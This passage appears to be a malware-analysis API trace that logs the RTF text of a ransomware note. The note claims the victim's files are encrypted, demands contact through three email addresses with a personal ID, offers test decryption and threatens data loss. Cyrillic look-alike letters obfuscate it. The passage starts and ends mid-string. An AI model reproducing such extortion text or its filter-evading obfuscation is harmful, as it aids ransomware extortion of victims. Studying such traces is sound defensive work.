ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0040.493] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T 